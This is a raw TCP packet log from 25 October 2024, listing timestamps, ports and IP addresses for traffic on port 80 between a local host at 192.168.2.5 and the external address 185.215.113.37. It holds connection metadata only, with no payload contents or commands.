Oct 25, 2024 02:18:27.696424007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696435928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696445942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696445942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696453094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696470976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696485996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696490049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696490049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696505070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696516991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696537971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696547985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696556091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696556091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696556091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696598053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696614027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696639061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696728945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696743965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696758032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696765900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696790934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696801901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696806908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696821928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696830988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696835041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696847916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696861982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696877956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696878910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696878910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696891069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696902990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696913958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696942091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696945906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696957111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696973085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.696978092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696978092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.696988106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697014093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697016001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697029114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697033882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697046995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697063923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697071075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697072029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697078943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697092056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697094917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697113991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697120905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697130919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697139025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697154999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697170019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697173119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697173119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697192907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697206020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697212934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697221041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697231054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697237015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697252035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697264910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697264910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697268963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697283030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697283030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697283983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697300911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697315931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697316885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697316885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697346926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697366953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697367907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697385073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697392941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697398901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697422981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697434902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697449923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697463989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697464943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697500944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697500944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697500944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697516918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697540998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697556973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697571039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697573900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697594881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697608948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697611094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697611094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697632074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697640896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697648048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697664022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697669029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697669029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697681904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697690964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697705030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697719097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697720051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697736025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697742939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697742939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697752953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697753906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697767973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697784901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697808027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697824001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697827101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697827101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697838068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697863102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697873116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697873116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697877884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697896004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697902918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697917938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697917938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697917938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697935104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697951078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697957039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697977066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.697979927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.697990894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698013067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698014975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698023081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698030949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698040962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698057890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698075056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698080063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698096037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698100090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698112011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698117018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698127031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698143005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698158026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698158026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698158026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698175907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698195934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698201895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698201895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698213100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698225975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698256969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698290110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698303938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698318005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698359013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698364973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698380947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698395014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698410034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698425055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698426008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698441029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698457956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698471069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698471069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698529959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698534966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698555946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698571920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698585987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698601007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698611975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698626041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698628902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698630095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698642015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698657036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698678970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698679924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698692083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698705912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698721886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698745966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698745966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698765993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698770046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698786974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.698833942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.698833942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.699904919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.699982882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.699999094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700012922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700027943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700052977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700052977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700052977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700068951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700083971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700092077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700092077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700099945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700115919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700134993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700134993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700139999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700156927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700158119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700176954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700192928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700193882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700205088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700206995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.700227022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700227022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.700323105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811353922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811378002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811393023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811415911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811430931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811465025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811502934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811518908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811526060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811534882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811543941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811572075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811572075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811579943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811608076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811623096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811630011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811654091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811654091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811783075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811798096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811821938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811836004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811841965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811851978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811866999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811875105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811891079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811891079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811899900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811913013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811913013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811928034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811949015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811949015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.811964989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811980009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.811995029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812001944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812001944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812019110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812031984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812031984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812035084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812057972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812072039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812072039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812073946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812087059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812107086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812107086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812112093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812130928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812133074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812145948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812150955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812160969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812176943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812182903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812184095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812192917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812208891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812212944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812212944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812225103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812235117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812242985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812246084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812258959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812274933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812289000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812289000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812289953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812305927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812308073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812331915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812331915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812352896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812366009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812380075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812403917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812407970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812426090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812458038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812474012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812474966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812500954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812516928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812534094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812549114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812572956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812572002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812588930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812602997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812618971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812627077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812627077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812633991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812658072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812670946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.812676907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812676907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.812685966 CEST	80	49704	185.215.113.37	192.168.2.5
